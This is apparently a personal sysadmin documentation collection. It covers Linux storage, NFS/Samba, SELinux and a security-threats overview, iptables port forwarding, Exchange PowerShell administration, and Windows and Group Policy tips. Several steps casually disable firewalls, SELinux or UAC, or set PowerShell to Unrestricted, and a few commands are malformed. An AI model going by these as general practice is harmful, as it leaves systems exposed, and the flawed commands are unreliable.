Twice the size of RAM M = Amount of RAM in GB, and S = Amount of swap in GB, then > - If M \< 2 > - then S = M \* 2 > - Else S = M + 2 - Commands > - dd > - mkswap > - swapon or swapoff [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/6-Add+Swap+Space.pdf) ### Advanced Storage Features - Red Hat 8 introduces the next generation volume management solution called Stratis - It uses thin provisioning by default - It combines the process of creating logical volume management (LVM) and creation of filesystems into one management - In LVM if a filesystem system gets full you will have to extend it manually whereas stratis extends the filesystem automatically if it has available space in its pool ![linux stratis](_images/linux-stratis.png) - Install Statris package > - yum/dnf install stratis-cli stratisd - Enable and start Statris service > - systemctl enable\|start stratisd - Add 2 x 5G new disks from virtualization software and verify at the OS level > - Oracle virtualbox storage setting > - lsblk - Create a new stratis pool and verify > - stratis pool create pool1 /dev/sdb > - stratis pool list - Extend the pool > - stratis pool add-data pool1 /dev/sdc > - stratis pool list - Create a new filesystem using stratis > - stratis filesystem create pool1 fs1 > - stratis filesystem list (Filesystem will start with 546 MB) - Create a directory for mount point and mount filesystem > - mkdir /bigdata > - mount /dev/stratis/pool1/fs1 /bigdata > - lsblk - Create a snapshot of your filesystem > - startis filesystem snapshot pool1 fs1 fs1-snap > - stratis filesystem list - Add the entry to /etc/fstab to mount at boot > - UUID=“asf-0887afgdja-” /fs1 xfs defaults,x- > - systemd.requires=stratisd.service 0 0 ### RAID - RAID (Redundant Array of Independent Disks) - Type of RAID > - RAID0 > - RAID1 > - RAID5 ![linux raid](_images/linux-raid.png) ### File System Check (fsck and xfs_repair) - Linux fsck utility is used to check and repair Linux filesystems (ext2, ext3, ext4, etc.) - Linux xfs_repair utility is used to check and repair Linux filesystems for xfs filesystem type - Depending on when was the last time a file system was checked, the system runs the fsck during boot time to check whether the filesystem is in consistent state - System administrator could also run it manually when there is a problem with the filesystems - Make sure to execute the fsck on an unmounted file systems to avoid any data corruption issues. - Force a filesystem check even if it’s clean using option –f - Attempt to fix detected problems automatically using option -y - The xfs_repair utility is highly scalable and is designed to repair even very large file systems with many inodes efficiently. Unlike other Linux file systems, xfs_repair does not run at boot time - The following are the possible exit codes for fsck command > - 0 - No errors > - 1 - Filesystem errors corrected > - 2 - System should be rebooted > - 4 - Filesystem errors left uncorrected > - 8 - Operational error > - 16 - usage or syntax error > - 32 - fsck cancelled by user request > - 128 - shared-library error ### System Backup - 5 Different Types of Backups > 1. System backup (entire image using tools such as acronis, Veeam, Commvault etc.) > 2. Application backup (3rd party application backup solution) > 3. Database backup (Oracle dataguard, SQL backup etc.) > 4. Filesystem backup (tar, gzip directoris etc.) > 5. Disk backup or disk cloning (dd command) - dd is a command-line utility for Unix and Unix-like operating systems whose primary purpose is to convert and copy files - As a result, dd can be used for tasks such as backing up the boot sector of a hard drive, and obtaining a fixed amount of random data - Please note the source and destination disk should be the same size - To backup or clone an entire hard disk to another hard disk connected to the same system, execute the dd command as shown > - \# dd if=\ of=\ \[Options\] \# dd if=/dev/sda of=/dev/sdb - To backup/copy the disk partition > - \# dd if =/dev/sda1 of=/root/sda1.img - Restoring this image file to other machine after copying the .img > - \# dd if=/root/sda1.img of=/dev/sdb3 ### Network File System (NFS) - NFS stands for Network File System, a file system developed by Sun Microsystems, Inc. - It is a client/server system that allows users to access files across a network and treat them as if they resided in a local file directory - For example, if you were using a computer linked to a second computer via NFS, you could access files on the second computer as if they resided in a directory on the first computer. This is accomplished through the processes of exporting (the process by which an NFS server provides remote clients with access to its files) and mounting (the process by which client map NFS shared filesystem) - Steps for NFS Server Configuration > - Install NFS packages > > > - \# yum install nfs-utils libnfsidmap (most likely they are installed) > > - Once the packages are installed, enable and start NFS services > > > - \# systemctl enable rpcbind > > - \# systemctl enable nfs-server > > - \# systemctl start rpcbind, nfs-server, rpc-statd, nfs-idmapd > > - Create NFS share directory and assign permissions ![linux nfs](_images/linux-nfs.png) - Steps for NFS Client Configuration > - Install NFS packages > > > \# yum install nfs-utils rpcbind > > - Once the packages are installed enable and start rpcbind service > > > - \# systemctl rpcbind start > > - Make sure firewalld or iptables stopped (if running) > - \# ps –ef \| egrep “firewall\|iptable” > > - Show mount from the NFS server > > > - \# showmount -e 192.168.1.5 (NFS Server IP) > > - Create a mount point > > > - \# mkdir /mnt/kramer > > - Mount the NFS filesystem > > > - \# mount 192.168.1.5:/mypretzels /mnt/kramer > > - Verify mounted filesystem > > > - \# df –h > > - To unmount > > > - \# umount /mnt/kramer [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/9-Steps-for-NFS-Configuration.pdf) ### Samba - Samba is a Linux tool or utility that allows sharing for Linux resources such as files and printers to with other operating systems - It works exactly like NFS but the difference is NFS shares within Linux or Unix like system whereas Samba shares with other OS (e.g. Windows, MAC etc.) - For example, computer “A” shares its filesystem with computer “B” using Samba then computer “B” will see that shared filesystem as if it is mounted as the local filesystem - Samba shares its filesystem through a protocol called SMB (Server Message Block) which was invented by IBM - Another protocol used to share Samba is through CIFS (Common Internet File System) invented by Microsoft and NMB (NetBios Named Server) - CIFS became the extension of SMB and now Microsoft has introduced newer version of SMB v2 and v3 that are mostly used in the industry - In simple term, most people, when they use either SMB or CIFS, are talking about the same exact thing **Installation and Configuration** - Take snapshot of your VM - Install samba packages - Enable samba to be allowed through firewall (Only if you have firewall running) \* Disable firewall - Create Samba share directory and assign permissions - Also change the SELinux security context for the samba shared directory - Or disable SELinux - Modify /etc/samba/smb.conf file to add new shared filesystem - Verify the setting - Once the packages are installed, enable and start Samba services (smb and nmb) \* Mount Samba share on Windows client - Mount Samba share on Linux client - Additional instructions on creating secure Samba share. [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/14-Samba+Installation+and+Configuration.pdf) ### NAS Device for NFS or Samba - A storage can be carved on a Linux server, and it can be shared with another Linux machine through NFS or to a Windows machine through Samba service - NFS/Samba or any NAS service can be setup through a dedicated NAS device ### SATA and SAS - SATA Stands for Serial Advanced Technology Attachment and SAS stands for Serial Attached SCSI (SCSI Stands for Small Computer System Interface, typically pronounced as “scuzzy”) - Both SAS and SATA utilize serial communication. Serial communication means that the highway has both lanes - The main difference between them is that SAS drives are faster and more reliable than SATA drives - SAS is generally more expensive, and it’s better suited for use in servers or in processing-heavy computer workstations. SATA is less expensive, and it’s better suited for desktop file storage - In a SATA cable, all 4 wires are placed within the same cable. In a SAS cable, the 4 wires are separated into 2 different cables **Why divide the wires between 2 cables?** - So you can connect more devices to one another. With a SATA cable, you can only link the motherboard and the storage drive. You could hook up an expansion device, but that takes up valuable room inside your computer. - With a SAS cable, you can hook up the motherboard to both a storage drive and another piece of hardware that has SAS connectors. ### Difference Between CentOS/RHEL7 and 8 - Red Hat Enterprise Linux 8 (RHEL 8) is now available for production use with lots of developer- friendly capabilities - RHEL 8 official release by Red Hat Inc, was announced on May 7, 2019 | | RHEL 8 | RHEL 7 | |---------------------------------------------------|---------------------------------------------------------------|------------------------------------------------------------------| | General Availability Date | 14-Nov-18 | 10-Jun-14 | | Code Name | Ootpa | Maipo | | Kernel Version | 4.18 | 3.10.0-123 | | End of Support | May-2029 | 30-Jun-2024 | | Last Minor Release | 8.x | 7.7 | | Network Time Synchronization | Only Chrony | Chrony and ntpd | | GUI Interface (Desktop) | Gnome 3.28 | Gnome 3 | | Default Database | MySQL 8.0, MariaDB 10.3, PostgreSQL 10 and 9.6, and Redis 5.0 | MariaDB | | Default Firewall | Firewalld, it uses nftables framework in the backend | Firewalld, it uses Iptables framework in the backend | | Max Supported (Individual) File & Filesystem Size | XFS= 1024TB | XFS= 500TB | | Package Management | By default both are installed, YUM symbolic link to DNF | By default only YUM and DNF can be installed from the Extra repo | | Max. RAM Supported | 24 TB on x86_64 architecture | 12 TB on x86_64 architecture | ## Additional Resources ### Change File Creation Permission umask is a command to set default permission any newly created file/directory eg. `umask u+rw,g+r,o-rwx` ### Filesystem Color Definition - Blue = directory - Green = executable or recognized data file - Sky Blue = Symbolic link file - Yellow with black background = device - pink = graphic image file - Red = archive file - Red with black background = broken link ### Troubleshoot File Issues - File does not exist - Absolute vs relative paths - File type - Permissions - Parent directory permissions - Hidden file - Command syntax (source and then target) ### Cannot CD Into a Directory - Directory does not exist - Absolute vs relative paths - Permissions - File type - Parent directory permissions - Hidden directories ### Filesystem is Corrupted - Filesystem - Types of a filesystem > - ext3, ext4, xfs, NTFS, etc. - Filesystem Layout and Partitions > - /var, /etc, /root, /home, etc. - Checking filesystem > - df, fdisk -l - Troubleshooting steps > - Check /var/log/messages or /var/log/syslog > - Run fsck on the block device (/dev/sda) NOT the mount point > - Unmount filesystem and run fsck ### System is Running Slow - Understanding the problem > - Processing > - Disk writing > - Networking > - Hardware - Troubleshooting steps > - Check if the right system is reported or you are on the right system > - Check disk space (df -h, du) > - Check processing (top, free, lsmem, /proc/meminfo, vmstat, pmap \, dmidecode, lscpu or /proc/cpuinfo) > - Check disk issues (iostat -y 5, lsof) > - Check networking (tcpdump -i enps03, lsof -i -P -n \| grep -i listen, netstat -plnt or ss -plnt, iftop) > - Check system uptime (uptime) > - Check logs > - Check hardware status by logging into system console > - OTher tools (htop, iotop, iptraf, psacct) ### IP Address Assigned but not Reachable - Troubleshooting steps > - Check if you are on the correct network interface (ifconfig) > - Check to see if you got the right subnet mask or gateway > - Ping the gateway > - Check if the gateway is assigned (netstat -rnv) > - Check with network team if the correct VLAN is assigned on the switch side > - Run ethtool or mii-tool to check the NIC status > - Run ifup \ command to bring the NIC port up > - Restart network systemctl restart network > - Check on the status of the NIC by running ifconfig or ip addr command > - Check to see if the IP Is assigned to some other device (IP conflict) > - Turn off firewall ### Remove Unnecessary or Orphan Packages Keep your server lean and mean. Install only those packages you really need. IF there are unwanted packages delete them. The fewer the packages the less chance of unpached code. Guidelines: > - Do not install packages you do not need during the initial installation > - Pay close attention to the add-on packages To get a list of packages: > - rpm -qa (CentOS) > - apt list -installed (Ubuntu) Remove packages: > - rpm -e package_name > - apt-get remove package_name Orphaned Packages: The objective is to remove all orphaned packages from Centos Linux. By orphaned packages we mean all packages which no longer serve a purpose of package dependencies. Fore example, package A is dependent on package B, thus, in order to install package A the package B must be installed. Once the package A is removed, the package B might still be installed, hence package B is now orphaned package. - A built-in utility which allows you to check for orphaned packages > - yum-utils - Check if that exist in your system > - rpm -qa \| grep yum-utils - If not then install > - yum install yum-utils - Get a list of all orphaned packages > - package-cleanup -leaves - Remove > - yum remove 'package-cleanup -leaves' > - apt-get autoremove ### SELinux (Security Enhanced Linux) - What is SELinux? > - SELinux is a Linux kernal security module that provides a mechanism for supporting access control security policies including mandatory access controls > - It is a project of the United States Security Agency (NSA) and the SELinux Community - SELinux options? > - Enforcing = enabled (enabled by default in Redhat, CentOS, and Fedora) > - Permissive = Disabled but logs the activity > - Disable = disabled and not activity logs - To check SELinux status > - sestatus or getenforce - SELinux setting > - setenforce 0 = permissive/disable > - setenforce 1 = enable - Modify SELinux config for permanent setting > - /etc/selinux/config > - SELINUX=enforcing > - SELINUX=disabled - Before modifying selinux config file > - Create a snapshot of your VM - Before rebooting create a file > - /.autorelabel - Two main conceptes of SELinux > - Labeling > - Type enforcement - To list the label of a file > - ls -lZ /usr/sbin/httpd - To list the label of a directory > - ls -dZ /etc/httpd - As the webserver runs its process its labeled in memory as httpd_t > - ps axZ \| grep httpd - The SELinux assigns the label at the socket level > - netstat -tnlpZ \| grep httpd - Command to manage SELinux setting: > - semanage -\> to label > > > - login > > - user > > - port > > - interface > > - module > > - node > > - file context > > - boolean > > - permissive state > > - dontaudit - Boolean > - ON / OFF switch > > - There are pre-defined out of the box Booleans that come with SELinux > > > - eg. do we allow ftp server to access home directories > > - can httpd talk to ldap > > - etc. > > - To list all booleans > > > - getsebool -a > > - OR semanage boolean -l > > - To enable or turn on a booleans > > > - setsebool -P boolean_name on > > - Check error messages related to SELinux > > > - journalctl > > - To change the type in a label > > > - chcon -t httpd_sys_content_t FILENAME > > - semanage -t httpd_sys_content_t FILENAME ### Types of Security Threats - Distributed denial-of-service (DDoS) attack > - When a hacker put a network of zombie computers (other peoples computers) to attack or destroy a specific website or server. That increase in volume or traffic overloads the website or server causing it to be slow or server shuts down completely - Hacking > - When someone gains unauthorized access to a computer - Malware > - Malicious software that infects your computer, such as computer virus, worms, trojan horses, spyware, and adware > > - Consequences > > > - Intimidate you with scareware, which is usually a pop-up message that tells you your computer has a security problem or other false information > > - Reformat the hard drive of your computer causing you to lose all your information > > - Alter or delete files > > - Steal sensitive information > > - Send emails on your behalf > > - Take control of your computer and all the software running on it - Pharming > - It points you to a malicious and illegitimate website by reditrecting the legitimate URL. Even if the URL is entered correctly, it can still be reditrected to a fake website. > > - Consequences > > > - Convince you that the site is real and legitimate by spoofing or looking almost identical to the actual site down to the smallest details. You may enter your personal information and unknowingly give it to someone with malicious intent. - Phishing > - Fake emails, text messages and webistes created to look like theyre from authentic companies. THeyre sent by criminals to steal personal or financial information from you. > > - Consequences > > > - Trick you into giving them information by asking you to update, validate or confirm your account. It is often presented in a manner than seems official and intimidating, to encourage you to take action. > > - Provides cyber criminals with your username and passwords so that they can access your accounts (your online bank account, shopping accounts, etc.) and steal your credit card numbers. - Ransomware > - Ransomware is a type of malware that restricts access to your computer or files and displays a messsage that demands payment in order for the restriction to be removed. The most common means of infection appear to be phishin emails that contain malicious attachments and website pop-up advertisements > > - Consequences > > > - There are two common types of ransomware. > > > > > - Lockscreen ransomware, displays an image that prevents you from accessing your computer > > > - Encryption ransomware, encrypts files on your systems hard drive and sometimes on shared network drives. USB drives, external hard drives and even some cloud storage drives, preventing you from opening them. - Spam > - SPam is one of the more common methods of both sending information out and collecting it from unsuspecing people > > - Consequences > > > - Annoy you with unwanted junk email > > - Create a burden for communications service providers and business to filter electronic messages. > > - Phish for your information by tricking you into following links or entering details with offers and promotions - Spoofing > - THis technique is often used in conjunction with phishin in an attempt to steal your information. A website or email address that is created to look like it comes from a legitimate source. AN email address may even include your own name, the name of someone you know, making it difficult to discern whether or not the sender is real. > > - Consequences > > > - Spends spam using your email address, or a variation of your email address to your contact list. > > - Recreates websites that closely resemble the authentic site. This could be a financial institution or other site that requires login or other personal information. - Spyware > - Software that collects personal information about you without you knowing. They often com in the form of a free download and are installed automatically with or without your consent. THese are difficult to remove and can infect your computer with viruses. > > - Consequences > > > - Collect informatiuon about you without you knowing about it and give it to third parties > > - Send your usernames, passwords, surfing habits, list of applications youve downloaded, settings, and even the version of your OS to third parties. > > - Change the way your computer runs without your knowledge > > - Take you to unwanted sites or inundate you with uncontrollable pop-up ads. - Trojan Horses > - Trojan horse is a malicious program that is disguised as, or embeded with, legitimate software. It is an executable file that will install itself and run automatically once its downloaded. > > - Consequences > > > - Delete your files > > - Use your computer to hack other ocmputers > > - Watch you through your web cam > > - Log your key strokes > > - Record usernames, passwords, and other personal information - Viruses > - Malicious computer programs that are ogften sent as an email attachment or a download with the intent of infecting your computer, as well as computers of everyone in your contact list. Just visiting a site can start an automatic download of a virus. > > - Consequences > > > - Send spam > > - Provide criminals with acccess to your computer and contact list > > - Scan and find personal information like passwords on your computer. > > - Hijack your web browser > > - Disable your security settings > > - Display unwanted ads - Wi-Fi Eavesdropping > - Virtual listening in on information thats shared over unsecure wifi network > > - Consequences > > > - Potentially access your computer with the right equipment > > - Steal your personal information including logins and passwords - Worms > - A worm, unlike a virus, goes to work on its own without attaching itself to files or programs. It lives in your computers memory, doesnt damage or alter the hard drive and propegates itself to other computers in a network, whether within a company or the internet itself. > > - Consequences > > > - Spread to everyone in your contact list > > - Cause a tremendous amount of damage by shutting down parts of the internet. Wreaking havok on an internal network and costing companies enourmous amounts of lost revenue --- # UFW Source: docs/computing/linux/ufw.md URL: https://docs.calebsargeant.com/computing/linux/ufw/ ## Port Forwarding ``` bash iptables -t nat -A PREROUTING -i eth0 -p tcp -d {PUBLIC_IP} --dport 443 -j DNAT --to {INTERNAL_IP}:443 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE vi /etc/ufw/before.rules *nat :PREROUTING ACCEPT [0:0] # forward 202.54.1.1 port 80 to 192.168.1.100:80 # forward 202.54.1.1 port 443 to 192.168.1.100:443 -A PREROUTING -i eth0 -d 202.54.1.1 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80 -A PREROUTING -i eth0 -d 202.54.1.1 -p tcp --dport 443 -j DNAT --to-destination 192.168.1.100:443 # setup routing -A POSTROUTING -s 192.168.1.0/24 ! -d 192.168.1.0/24 -j MASQUERADE COMMIT ``` ## Disable UFW ``` bash ufw disable apt-get remove ufw apt-get purge ufw ``` ## Status ``` bash ufw status verbose ufw logging on ``` --- # Backups Source: docs/computing/microsoft/backups.md URL: https://docs.calebsargeant.com/computing/microsoft/backups/ --- # Administration Source: docs/computing/microsoft/exchange/administration.md URL: https://docs.calebsargeant.com/computing/microsoft/exchange/administration/ ## Add Email Address to User Gives a secondary email address to the user ``` powershell set-mailbox user -emailaddresses @{add='email@example.com'} ``` ## Calendar Permissions Gives Tracey read only access to Brittany, Lood, Brenda, Janelle, and Hilary's calendars. Tracey can ask to put an appointment on their calendar, but cannot create or edit without the owner's consent. ``` text set-mailboxfolderpermission -identity brittany:\calendar -user tracey -accessrights reviewer set-mailboxfolderpermission -identity lood:\calendar -user tracey -accessrights reviewer set-mailboxfolderpermission -identity brenda:\calendar -user tracey -accessrights reviewer set-mailboxfolderpermission -identity janelle:\calendar -user tracey -accessrights reviewer set-mailboxfolderpermission -identity hilary:\calendar -user tracey -accessrights reviewer ``` ### Exhange Access Rights Sourced from Exchange offers you the ability to give others varying levels of access rights. The following levels of rights are available, and are explained in terms of calendar rights: - **Reviewer:** The person can view events on your calendar only. They cannot make changes to your calendar. This is the permission level to select if you don't want to grant any write or change permissions to the other person. (This is similar to giving someone Viewing Rights in CorporateTime) - **Contributor:** The person can ONLY add events to your calendar, but they cannot view, modify, or delete any events on your calendar. (CorporateTime did not provide a similar access level to this) - **Nonediting Author:** The person can create events on your calendar and view your calendar, but they can't modify any events once they have been have placed on your calendar, and they can't delete any of your events. (CorporateTime did not provide a similar access level to this) - **Author:** The person can create events on your calendar and view your calendar but cannot modify or delete any events that you have placed on your calendar. This person can modify or delete only the events they created on your calendar. (CorporateTime did not provide a similar access level to this) - **Publishing Author:** This level of access provides the same permissions as Author but also allows the person to create subfolders. (CorporateTime did not provide a similar access level to this) - **Editor:** The person can create, view, modify, and delete events on your calendar. This level of access effectively gives the person full read and write access to your calendar. (This is similar to giving someone Delegate rights in CorporateTime) - **Publishing Editor:** This level of access provides the same permissions as Editor but also allows the person to create subfolders. (This is similar to giving someone Delegate rights in CorporateTime) - **Owner:** The person can create, view, modify, and delete events on your calendar. As the folder owner this person will also have the ability to grant or change permissions for other people to this calendar. - **Free/Busy time:** This setting is typically set to the Default user and restricts other Exchange calendars not given permissions to view your calendar except when being scheduled. At that time the only thing people can see is a blue block (busy time) or white (free time). - **Free/Busy time, subject, location:** This setting is one step up from the default setting. This will allow other Exchange Calendars the ability to see that you are busy, where you are, and the subject of the meeting. All other information is blocked from them and if they double-click on a meeting will be told they do not have sufficient permissions to view the calendar. ## Create a Service Account ``` powershell New-Mailbox -Name 'B2B' -Alias 'B2B' -OrganizationalUnit 'example.com/User Accounts/Newlands/IT Service Accounts' -UserPrincipalName 'accountname@example.com' -SamAccountName 'accountname' -FirstName 'accountname' -Initials '' -LastName '' -Password 'System.Security.SecureString' -ResetPasswordOnNextLogon $false -Database 'Example - Services Mailbox' ``` ## Delete a Mailbox !!! warning This will delete both the AD user and the exchange mailbox! ``` powershell Remove-Mailbox -Identity "name surname" -Permanent $true ``` ## Mailbox Access Permission Removes Caleb's access to Bob's mailbox: ``` powershell remove-mailboxpermission -identity bob -user caleb -accessrights fullaccess ``` ## Send As Permission Gives Priscilla access to Send As clientservicecentre ``` powershell Add-ADPermission -Identity clientservicecentre -User "priscilla' -ExtendedRights 'Send-as' ``` ## Out of Office ``` text Set-MailboxAutoReplyConfiguration caleb@example.com –AutoReplyState Enabled –ExternalMessage “EXTERNAL MESSAGE HERE” –InternalMessage “INTERNAL MESSAGE HERE" ``` --- # Compliance Management Source: docs/computing/microsoft/exchange/compliance-management.md URL: https://docs.calebsargeant.com/computing/microsoft/exchange/compliance-management/ ## Regulatory Compliance Is very important in most exchange environments. Ensuring your organisation is in sync with legal requirements with regard to eDiscovery and other key aspects to compliance is a must for Exchange administrators. eDiscovery searches ones mailbox for specific strings. ## Compliance Features - In-Place eDiscovery & Hold - Allows a search of mailboxes through the organisation, preview of search results and then copy of results to a Discovery mailbox - In-Place Hold forces a hold on data discovered during in-place eDiscovery - Note: Legal Hold or Litigation Hold places entire mailbox on hold - Auditing - Keeps an audit log of all actions taken on all mailboxes - Auditing is done based on access by owners, delegates and administrators - You can run various reports (exp. administrator role group report) - Transport Rules - Allows you to create conditions, actions and exceptions over mail tthat is flowing through your organistation - Data Loss Prevention (DLP) - A form of transport rule that prevents users (or alerts users) from sending sensitive information like creditc card numbers - Based on regulatory standards (PII and PCI-DSS) - Messaging Records Management (MRM) - Revolves around email lifecycle policies - Retention policies are used to classify messages - Journaling - Provides the ability to retain copies of all incoming and outgoing mail through Standard journaling - Provides more granular journaluing throiguh pPremium Journaling - Require Enterprise Client-access Liscense for mailboxes - Information Rights Management (IRM) - Works in harmony with ADRMS to protect messages and attachements - In-Place Archive - Eliminates the proliferation of .pst files ## Scenario - Enable default retention policy and in-place archive over Justin Beiber - Establish a standard journaling rule for all email going in and outh of the organisation - Place John Doe mailbox on Litigation Hold ## Howto - compliance management \> in-place e discovery and hold - compliance management \> retention policies (then recipients \> mailbox features \> Litigation hold) - compliance management \> Journal rule (start-managedfolderassistant -identity "caleb sargeant") --- # Configuration Source: docs/computing/microsoft/exchange/configuration.md URL: https://docs.calebsargeant.com/computing/microsoft/exchange/configuration/ A glob of installation and configuration images. ## Example 1 ![Diagram](_images/install/1.png) ![Diagram](_images/install/2.png) ![Diagram](_images/install/3.png) ![Diagram](_images/install/4.png) ![Diagram](_images/install/5.png) ![Diagram](_images/install/6.png) ![Diagram](_images/install/7.png) ![Diagram](_images/install/8.png) ![Diagram](_images/install/9.png) ![Diagram](_images/install/10.png) ![Diagram](_images/install/11.png) ![Diagram](_images/install/12.png) ![Diagram](_images/install/13.png) ![Diagram](_images/install/14.png) ![Diagram](_images/install/15.png) ![Diagram](_images/install/16.png) ![Diagram](_images/install/17.png) ![Diagram](_images/install/18.png) ![Diagram](_images/install/19.png) ![Diagram](_images/install/20.png) ![Diagram](_images/install/21.png) ![Diagram](_images/install/22.png) ![Diagram](_images/install/23.png) ![Diagram](_images/install/24.png) ![Diagram](_images/install/25.png) ![Diagram](_images/install/26.png) ![Diagram](_images/install/27.png) ![Diagram](_images/install/28.png) ![Diagram](_images/install/29.png) ![Diagram](_images/install/30.png) ![Diagram](_images/install/31.png) ![Diagram](_images/install/32.png) ![Diagram](_images/install/33.png) ![Diagram](_images/install/34.png) ![Diagram](_images/install/35.png) ![Diagram](_images/install/36.png) ![Diagram](_images/install/37.png) ![Diagram](_images/install/38.png) ![Diagram](_images/install/39.png) ![Diagram](_images/install/40.png) ![Diagram](_images/install/41.png) ![Diagram](_images/install/42.png) ![Diagram](_images/install/43.png) ![Diagram](_images/install/44.png) ![Diagram](_images/install/45.png) ![Diagram](_images/install/46.png) ![Diagram](_images/install/47.png) ![Diagram](_images/install/48.png) ![Diagram](_images/install/49.png) ![Diagram](_images/install/50.png) ## Example 2 ![Diagram](_images/config/8.png) ![Diagram](_images/config/9.png) ![Diagram](_images/config/10.png) ![Diagram](_images/config/11.png) ![Diagram](_images/config/12.png) ![Diagram](_images/config/13.png) ![Diagram](_images/config/14.png) ![Diagram](_images/config/15.png) ![Diagram](_images/config/16.png) ![Diagram](_images/config/17.png) ![Diagram](_images/config/18.png) ![Diagram](_images/config/19.png) ![Diagram](_images/config/20.png) ![Diagram](_images/config/21.png) ![Diagram](_images/config/22.png) ![Diagram](_images/config/23.png) ![Diagram](_images/config/24.png) ![Diagram](_images/config/25.png) ![Diagram](_images/config/26.png) ![Diagram](_images/config/27.png) ![Diagram](_images/config/28.png) ![Diagram](_images/config/29.png) ![Diagram](_images/config/30.png) ![Diagram](_images/config/31.png) ![Diagram](_images/config/32.png) ![Diagram](_images/config/33.png) --- # Dynamic Access Control Source: docs/computing/microsoft/exchange/dynamic-access-control.md URL: https://docs.calebsargeant.com/computing/microsoft/exchange/dynamic-access-control/ Prepare the Dynamic Access Control Deployment Based on the Security and Business Requirements Prepare ADDS to support Dynamic Access Control ## On the Domain Controller: 1. Open AD Users and Computers 2. Make an OU named \ 3. Add Clients to OU 4. Open GPME \> expand forest \> expand domains, expand \ 5. Click Group Policy Objects container 6. Remove the Block Inheritance setting applied to OUs 7. Edit the Default Domain Controllers Policy GPO 8. In GPME \> Computer Configuration \> Policies \> Administrative Templates \> System \> KDC 9. Enable the KDC support for claims, compound authentication and Kerberos armoring policy setting. 10. Select Supported in Options section 11. run a gpupdate /force in cmd 12. In ADDS create a security group named \ in the Users container 13. Move the target client Computer Objects into the \container 14. Make the client Computer Objects a member of \ ## Configuring User and Device Claims ### Review Claim Types: On the Domain Controller: 1. Go to AD Administrative Center \> Dynamic Access Control 2. Open Claim Types and make sure no claims are present. 3. Resource Properties \> Properties, and review 4. New Claim Type \> description \> untick user, tick computer ### Configuring Resource Properties and File Classifications 1. In Resource Property enable Confidentiality, Department 2. Go to Suggested Values of Department \> click add \> Value/Display name: \ --- # Exchange Source: docs/computing/microsoft/exchange/index.md URL: https://docs.calebsargeant.com/computing/microsoft/exchange/ --- # General Source: docs/computing/microsoft/general.md URL: https://docs.calebsargeant.com/computing/microsoft/general/ ## Find What is Using File ## Mapping Drive CLI ``` powershell # Create Mapped drive net use z: \\server\share /user:administrator mysecurepassword /persistent:Yes # Delete mapped drive net use * /delete ``` ## Changing Network Type ``` powershell Get-NetConnectionProfile Set-NetConnectionProfile -InterfaceIndex 8 -NetworkCategory Private Get-NetConnectionProfile -InterfaceIndex 8 ``` ## 7-zip CLI ``` powershell # a means archive, mx9 means best compression 7zip.exe a -t7z -mx9 z:\dest-compressed-file.7z z:\source-folder ``` ## DC Authenticated With Check which DC authenticated with: `echo %logonserver%` ## Check the Size of a Folder from CLI ``` powershell dir /a/s ``` ## Download Firefox from CLI ``` powershell # In PowerShell: wget -O FirefoxSetup.exe "https://download.mozilla.org/?product=firefox-latest&os=win64&lang=en-US" ``` ## Operations Masters ### Forest Domain Naming Schema ### Domain Relative Identifier (RID) Infrastructure PDC Emulater ## PowerShell Set-ExecutionPolicy Unrestricted Will allow unsigned powershell scripts to run. Set-ExecutionPolicy Restricted Will not allow unsigned powershell scripts to run. Set-ExecutionPolicy RemoteSigned Will allow only remotely signed powershell scripts to run. ## Rename Domain Controller ``` batch netdom computername /add: netdom computername /makeprimary: REBOOT netdom computername /remove: ``` ## LACP ### Windows' Side *Server Manager* \> click on Link next to NIC teaming option or run `lbfoadmin.exe` ![lacp windows server](_images/lacp-windows-server-1.png) Select the adapters, add to team ![lacp windows server](_images/lacp-windows-server-2.png) For teaming mode choose LACP, load balancing method use address hash ![lacp windows server](_images/lacp-windows-server-3.png) ### Cisco's Side ``` text int r g0/1 - 2 channel-group 1 mode active channel-protocol lacp int port-chan1 switchport mode trunk switchport trunk native vlan switchport trunk allowed vlan ``` ## Standard Installation Ensure that the following has been configured on your physical server: 1. [RAID](#raid) 2. [Partitioning](#partitioning) 3. [Shadow Copies](#shadow-copies) 4. [Backups](#backups) 5. [Updates](#updates) ### RAID Hardware Raid - BIOS Software Raid - diskmgmt.msc ### Partitioning `diskmgmt.msc` \> right click on C: \> Shrink Volume... ### Shadow Copies `sysdm.cpl` \> System Protection \> click on drive ### Backups `ntbackup` after setting up Windows Backup !!! note Note that iSCSI network cannot restore (backups). Use an external drive for fast, scheduled backups. ### Updates `wuapp.exe` \> install updates ## Disable Windows Server Updates 1. Open Windows Powershell by right click \> run as administrator 2. Type: SCONFIG and hit enter 3. Press 5 (Windows Update Settings) 4. Press D (Download Only mode) 5. Close Powershell ## Fixing Windows Corruption - DISM.exe /Online /Cleanup-image /Scanhealth - DISM.exe /Online /Cleanup-image /Restorehealth - DISM.exe /online /cleanup-image /startcomponentcleanup - sfc /scannow - chkdsk /f /r --- # Group Policy Source: docs/computing/microsoft/group-policy.md URL: https://docs.calebsargeant.com/computing/microsoft/group-policy/ ## BGInfo 1. Download BgInfo from here. 2. Do the following in Group Policy Management: ![group policy bginfo](_images/group-policy-bginfo-1.png) 3. Edit the BGInfo settings to suit your needs. 4. Save your settings in the same place as bginfo.exe. ![group policy bginfo](_images/group-policy-bginfo-2.png) ![group policy bginfo](_images/group-policy-bginfo-3.png) ![group policy bginfo](_images/group-policy-bginfo-4.png) 5. Add `C:\bginfo\name.bgi /SILENT /TIMER:0 /NOCLIENTPROMPT` to the argument field in the shortcut property in Group Policy Management. ## Disable Sound Under *Computer Configuration*, under *Policies*, under *Administrative Templates*, do the following: ![group policy disable sound](_images/group-policy-disable-sound.png) ## Disable UAC ![group policy disable uac](_images/group-policy-disable-uac.png) ## Lock Computers When Idle ![group policy lock computers when idle](_images/group-policy-lock-computers-when-idle-1.png) ![group policy lock computers when idle](_images/group-policy-lock-computers-when-idle-2.png) ## Internet Explorer Settings ### Favourites for Intranet Under *Computer Configuration*, under *Preferences*, under *Windows Settings*, under *Shortcuts*, do the following: ![group policy ie](_images/group-policy-ie-1.png) ### Homepage ![group policy ie](_images/group-policy-ie-2.png) ### Trusted Sites Zone ![group policy ie](_images/group-policy-ie-3.png) ## License Server - Point TS to License Server Under *Computer Configuration*, under *Policies*, under *Administrative Templates*, do the following: ![group policy point 